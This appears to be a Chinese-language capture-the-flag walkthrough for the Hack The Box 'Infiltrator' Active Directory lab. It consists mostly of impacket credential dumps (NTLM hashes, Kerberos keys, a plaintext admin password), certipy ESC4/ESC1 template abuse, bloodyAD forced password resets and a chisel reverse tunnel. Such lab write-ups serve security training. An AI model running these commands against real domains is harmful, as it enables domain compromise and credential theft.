dpapi_machinekey:0x81f5247051ff9535ad8299f0efd531ff3a5cb688
dpapi_userkey:0x79d13d91a01f6c38437c526396febaf8c1bc6909
[*] NL$KM 
 0000   2E 8A EC D8 ED 12 C6 ED  26 8E B0 9B DF DA 42 B7   ........&.....B.
 0010   49 DA B0 07 05 EE EA 07  05 02 04 0E AD F7 13 C2   I...............
 0020   6C 6D 8E 19 1A B0 51 41  7C 7D 73 9E 99 BA CD B1   lm....QA|}s.....
 0030   B7 7A 3E 0F 59 50 1C AD  8F 14 62 84 3F AC A9 92   .z>.YP....b.?...
NL$KM:2e8aecd8ed12c6ed268eb09bdfda42b749dab00705eeea070502040eadf713c26c6d8e191ab051417c7d739e99bacdb1b77a3e0f59501cad8f1462843faca992
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d27644ab3070f72ec264fcb413d75299
[*] Reading and decrypting hashes from res/Active Directory/ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7bf62b9c45112ffdadb7b6b4b9299dd2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1001:aad3b435b51404eeaad3b435b51404ee:fe4767309896203c581b9fc3c5e23b00:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:454fcbc37690c6e4628ab649e8e285a5:::
infiltrator.htb\winrm_svc:1104:aad3b435b51404eeaad3b435b51404ee:84287cd16341b91eb93a58456b73e30f:::
infiltrator.htb\lan_managment:1105:aad3b435b51404eeaad3b435b51404ee:e8ade553d9b0cb1769f429d897c92931:::
infiltrator.htb\M.harris:1106:aad3b435b51404eeaad3b435b51404ee:fc236589c448c620417b15597a3d3ca7:::
infiltrator.htb\D.anderson:1107:aad3b435b51404eeaad3b435b51404ee:627a2cb0adc7ba12ea11174941b3da88:::
infiltrator.htb\L.clark:1108:aad3b435b51404eeaad3b435b51404ee:627a2cb0adc7ba12ea11174941b3da88:::
infiltrator.htb\O.martinez:1109:aad3b435b51404eeaad3b435b51404ee:eb86d7bcb30c8eac1bdcae5061e2dff4:::
infiltrator.htb\A.walker:1110:aad3b435b51404eeaad3b435b51404ee:46389d8dfdfcf0cbe262a71f576e574b:::
infiltrator.htb\K.turner:1111:aad3b435b51404eeaad3b435b51404ee:48bcd1cdc870c6285376a990c2604531:::
infiltrator.htb\E.rodriguez:1112:aad3b435b51404eeaad3b435b51404ee:b1918c2ce6a62f4eee11c51b6e2e965a:::
[*] Kerberos keys from res/Active Directory/ntds.dit 
DC$:aes256-cts-hmac-sha1-96:09b3e08f549e92e0b16ed45f84b25cc6d0c147ff169ce059811a3ed9e6957176
DC$:aes128-cts-hmac-sha1-96:d2a3d7c9ee6965b1e3cd710ed1ceed0f
DC$:des-cbc-md5:5eea34b3317aea91
krbtgt:aes256-cts-hmac-sha1-96:f6e0a1bd3a180f83472cd2666b28de969442b7745545afb84bbeaa9397cb9b87
krbtgt:aes128-cts-hmac-sha1-96:7874dff8138091d6c344381c9c758540
krbtgt:des-cbc-md5:10bfc49ecd3b58d9
infiltrator.htb\winrm_svc:aes256-cts-hmac-sha1-96:ae473ae7da59719ebeec93c93704636abb7ee7ff69678fdec129afe2fc1592c4
infiltrator.htb\winrm_svc:aes128-cts-hmac-sha1-96:0faf5e0205d6f43ae37020f79f60606a
infiltrator.htb\winrm_svc:des-cbc-md5:7aba231386c2ecf8
infiltrator.htb\lan_managment:aes256-cts-hmac-sha1-96:6fcd2f66179b6b852bb3cc30f2ba353327924081c47d09bc5a9fafc623016e96
infiltrator.htb\lan_managment:aes128-cts-hmac-sha1-96:48f45b8eb2cbd8dbf578241ee369ddd9
infiltrator.htb\lan_managment:des-cbc-md5:31c83197ab944052
infiltrator.htb\M.harris:aes256-cts-hmac-sha1-96:20433af8bf6734568f112129c951ad87f750dddf092648c80816d5cb42ed0f49
infiltrator.htb\M.harris:aes128-cts-hmac-sha1-96:2ee0cd05c3fa205a92e6837ff212b7a0
infiltrator.htb\M.harris:des-cbc-md5:3ee3688376f2e5ce
infiltrator.htb\D.anderson:aes256-cts-hmac-sha1-96:42447533e9f1c9871ddd2137def662980e677a748b5d184da910d3c4daeb403f
infiltrator.htb\D.anderson:aes128-cts-hmac-sha1-96:021e189e743a78a991616821138e2e69
infiltrator.htb\D.anderson:des-cbc-md5:1529a829132a2345
infiltrator.htb\L.clark:aes256-cts-hmac-sha1-96:dddc0366b026b09ebf0ac3e7a7f190b491c4ee0d7976a4c3b324445485bf1bfc
infiltrator.htb\L.clark:aes128-cts-hmac-sha1-96:5041c75e19de802e0f7614f57edc8983
infiltrator.htb\L.clark:des-cbc-md5:cd023d5d70e6aefd
infiltrator.htb\O.martinez:aes256-cts-hmac-sha1-96:4d2d8951c7d6eba4edaf172fd0f7b78ab7260e3d513bf2ff387c70c85d912a2f
infiltrator.htb\O.martinez:aes128-cts-hmac-sha1-96:33fdf738e13878a8101e3bf929a5a120
infiltrator.htb\O.martinez:des-cbc-md5:f80bc202755d2cfd
infiltrator.htb\A.walker:aes256-cts-hmac-sha1-96:e26c97600c6f44990f18480087a685e0f1c71bcfbc8413dce6764ccf77df448a
infiltrator.htb\A.walker:aes128-cts-hmac-sha1-96:768672b783131ed963b9deeac0a6d2e4
infiltrator.htb\A.walker:des-cbc-md5:a7e6cde06d6e153b
infiltrator.htb\K.turner:aes256-cts-hmac-sha1-96:2c816a32b395f67df520bc734f7ea8e4df64a9610ffb3ef43e0e9df69b9df8b8
infiltrator.htb\K.turner:aes128-cts-hmac-sha1-96:b20f41c0d3b8fb6e1b793af4a835109b
infiltrator.htb\K.turner:des-cbc-md5:4607b9eaec6838ba
infiltrator.htb\E.rodriguez:aes256-cts-hmac-sha1-96:9114030dd2a57970530eda4ce0aa6b14f88f2be44f6d920de31eb6ee6f1587b5
infiltrator.htb\E.rodriguez:aes128-cts-hmac-sha1-96:ddd37cf706781414885f561c3b469d0c
infiltrator.htb\E.rodriguez:des-cbc-md5:9d5bdaf2cd26165d
[*] Cleaning up...

注意到这里 O.martinez 用户的 NTLM 和之前拿到的不一样，而且尝试了几个用户发现都登录失败

Shell as Administrator

https://book.hacktricks.xyz/windows-hardening/stealing-credentials https://github.com/almandin/ntdsdotsqlite

可以尝试从 NTDS.dit 中提取域对象到 SQLite 数据库

ntdsdotsqlite --system SYSTEM -o ntds.db ntds.dit
sqlitebrowser ntds.db

这里发现了 lan_managment 用户的注释 l@n_M@an!1331 密码喷射

Bloodhound 发现 lan_managment 有 GMSA 权限

但是这个用户没有远程权限，那么可以通过 runas 或者 ldap 来实现

Account: infiltrator_svc$
NTLM: c344426816ad3708039ba56fdb7d08fb

这个用户并没有什么远程权限，那么枚举一下 AD CS

certipy-ad find -u '[email protected]' -hashes 'c344426816ad3708039ba56fdb7d08fb' -vulnerable -stdout

ESC4 是指用户对证书模板具有写权限。可以覆盖证书模板的配置，使模板受到 ESC1 的攻击。

https://github.com/ly4k/Certipy?tab=readme-ov-file#esc4

certipy template -u '[email protected]' -hashes 'c344426816ad3708039ba56fdb7d08fb' -template Infiltrator_Template -dc-ip 10.10.11.31

certipy req -u '[email protected]' -hashes 'c344426816ad3708039ba56fdb7d08fb' -ca infiltrator-DC01-CA -template Infiltrator_Template -upn [email protected] -dc-ip 10.10.11.31

certipy auth -pfx administrator.pfx -dc-ip 10.10.11.31

get flag

Dump Hash

impacket-secretsdump [email protected] -hashes ':1356f502d2764368302ff0369b1121a1'
---
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xb69149edc42a85733e4efe5e35a33e87
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4dc8e10f3a29237b05bdfdb5bded5451:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
INFILTRATOR\DC01$:aes256-cts-hmac-sha1-96:15db1652b02a83f4324bd8ba4f2a20eb8ea7631bf87dfec2d4f97ebeff32435d
INFILTRATOR\DC01$:aes128-cts-hmac-sha1-96:70d8ad0059f5e81f43310c34e9937556
INFILTRATOR\DC01$:des-cbc-md5:80fe9dbfa22531ab
INFILTRATOR\DC01$:plain_password_hex:0a3183391dac772712b98e94fead3b9456bfedcc57c953d18084f50e94cf42d6c08434a1d3217c2fe151916a0ae7867c415ab8d3546f4ecc4707410ca56e2556aef2298066f7842ec1ad4819706032c10db5d22ff762c9a4fdeb82405627c04ed0ae8ee0514170acb1f0fa8964a2d045ba16b749ef89933bccd53b25a8aa0f5d17c2d519f9aa7a939b1fb9701bb88a1abb5efdfbcd02226e09032d8ffced8801e6cf8adf16bceb1491482d23a8281326cc82a6fa06425336d1422cd3b1cadd389263a9f557ce5221a86b28a71dc6276a0ac8165b7c5c5929dd3998130bbd7b9e41b9a8e4d69e1b7a614f25b6a8aa672b
INFILTRATOR\DC01$:aad3b435b51404eeaad3b435b51404ee:c4d8ecef85fdd70a87fa9c8da56a417f:::
[*] DefaultPassword
INFILTRATOR\Administrator:Infiltrator_Box1337!
[*] DPAPI_SYSTEM
dpapi_machinekey:0xbd8a15f7e24918ac40db6b340498aeda032c4fc0
dpapi_userkey:0xf0f81997f3c057103ab87ac71dc986c455880e83
[*] NL$KM
 0000   A9 F8 C1 38 F1 FB 53 1A  E1 12 CA 8A 61 D3 C1 D6   ...8..S.....a...
 0010   67 09 77 BC BC C6 BC 2F  5D E3 18 3D 66 DB 6D 9F   g.w..../]..=f.m.
 0020   03 30 80 2D 25 9F 69 56  39 55 EA A3 50 D0 CA 0F   .0.-%.iV9U..P...
 0030   C6 18 45 14 9E 8E B6 3C  46 49 6F 3B FA EF FE 89   ..E....<FIo;....
NL$KM:a9f8c138f1fb531ae112ca8a61d3c1d6670977bcbcc6bc2f5de3183d66db6d9f0330802d259f69563955eaa350d0ca0fc61845149e8eb63c46496f3bfaeffe89
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1356f502d2764368302ff0369b1121a1:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d400d2ccb162e93b66e8025118a55104:::
infiltrator.htb\D.anderson:1103:aad3b435b51404eeaad3b435b51404ee:627a2cb0adc7ba12ea11174941b3da88:::
infiltrator.htb\L.clark:1104:aad3b435b51404eeaad3b435b51404ee:627a2cb0adc7ba12ea11174941b3da88:::
infiltrator.htb\M.harris:1105:aad3b435b51404eeaad3b435b51404ee:3ed8cf1bd9504320b50b2191e8fb7069:::
infiltrator.htb\O.martinez:1106:aad3b435b51404eeaad3b435b51404ee:daf40bbfbf00619b01402e5f3acd40a9:::
infiltrator.htb\A.walker:1107:aad3b435b51404eeaad3b435b51404ee:f349468bb2c669ec8c3fd4154fdfe126:::
infiltrator.htb\K.turner:1108:aad3b435b51404eeaad3b435b51404ee:a119c0d5af383e9591ebb67857e2b658:::
infiltrator.htb\E.rodriguez:1109:aad3b435b51404eeaad3b435b51404ee:b02e97f2fdb5c3d36f77375383449e56:::
infiltrator.htb\winrm_svc:1601:aad3b435b51404eeaad3b435b51404ee:120c6c7a0acb0cd808e4b601a4f41fd4:::
infiltrator.htb\lan_managment:8101:aad3b435b51404eeaad3b435b51404ee:a1983d156e1d0fdf9b01208e2b46670d:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:c4d8ecef85fdd70a87fa9c8da56a417f:::
infiltrator_svc$:3102:aad3b435b51404eeaad3b435b51404ee:c344426816ad3708039ba56fdb7d08fb:::
...

M.Harris Shell 立足点

#!/bin/bash

sudo timedatectl set-ntp no
sudo rdate -n 10.10.11.31

impacket-getTGT 'infiltrator.htb'/'D.Anderson':'WAT?watismypass!'

KRB5CCNAME=D.Anderson.ccache /usr/share/doc/python3-impacket/examples/dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'D.Anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb'/'D.Anderson':'WAT?watismypass!' -dc-ip dc01.infiltrator.htb -k -no-pass

bloodyAD --host "dc01.infiltrator.htb" -d 'infiltrator.htb' -u 'D.Anderson' -p 'WAT?watismypass!' -k --dc-ip '10.10.11.31' set password 'E.Rodriguez' 'Admin@123'

bloodyAD --host "dc01.infiltrator.htb" -d 'infiltrator.htb' -u 'E.Rodriguez' -p 'Admin@123' -k --dc-ip '10.10.11.31' add groupMember 'Chiefs Marketing' 'E.Rodriguez'

bloodyAD --host "dc01.infiltrator.htb" -d 'infiltrator.htb' -u 'E.Rodriguez' -p 'Admin@123' -k --dc-ip '10.10.11.31' set password 'M.Harris' 'Admin@123'

impacket-getTGT 'infiltrator.htb'/'M.Harris':'Admin@123'

echo "[+] Login Shell: KRB5CCNAME=M.Harris.ccache evil-winrm -i 'dc01.infiltrator.htb' -u 'M.Harris' -p 'Admin@123' -r 'infiltrator.htb'"

Port forwarding

Chisel Server

chisel server --reverse

Chisel Client

chisel.exe client -v [chisel_server_ip]:[chisel_port] R:0.0.0.0:14406:127.0.0.1:14406 R:0.0.0.0:14118:127.0.0.1:14118 R:0.0.0.0:14121:127.0.0.1:14121 R:0.0.0.0:14122:127.0.0.1:14122 R:0.0.0.0:14123:127.0.0.1:14123 R:0.0.0.0:14125:127.0.0.1:14125 R:0.0.0.0:14126:127.0.0.1:14126 R:0.0.0.0:14127:127.0.0.1:14127 R:0.0.0.0:14128:127.0.0.1:14128 R:0.0.0.0:14130:127.0.0.1:14130